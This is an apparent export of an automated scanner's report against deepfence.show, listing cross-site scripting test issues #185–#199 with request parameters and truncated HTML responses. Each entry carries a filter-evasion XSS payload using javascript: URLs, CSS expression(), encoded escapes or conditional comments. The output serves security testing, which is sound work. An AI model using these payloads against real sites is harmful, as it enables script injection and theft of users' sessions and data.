AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #185
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io <FRAMESET><FRAME SRC="javascript:alert('XSS');"><
/FRAMESET>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #186
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <TABLE BACKGROUND="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io not be echoed back in the response
CWE-ID CWE-79
Issue Number #187
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <TABLE><TD BACKGROUND="javascript:alert('XSS')
">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #188
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <DIV STYLE="background-image: url(javascript:alert('
XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #189
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\
0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\
006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\
0029">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #190Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <DIV STYLE="background-image: url(&#1;javascript:
alert('XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #191
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <DIV STYLE="width: expression(alert('XSS'));">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #192
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #193
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #194
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <XSS STYLE="xss:expression(alert('XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #195
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*
XSS*//*/*/pression(alert("XSS"))'>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #196
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE TYPE="text/javascript">alert('XSS');</STYLE
>Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #197
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE>.XSS{background-image:url("javascript:alert('XSS'
)");}</STYLE><A CLASS=XSS></A>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79Issue Number #198
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <STYLE type="text/css">BODY{background:url("javascript
:alert('XSS')")}</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #199
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![
endif]-->
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
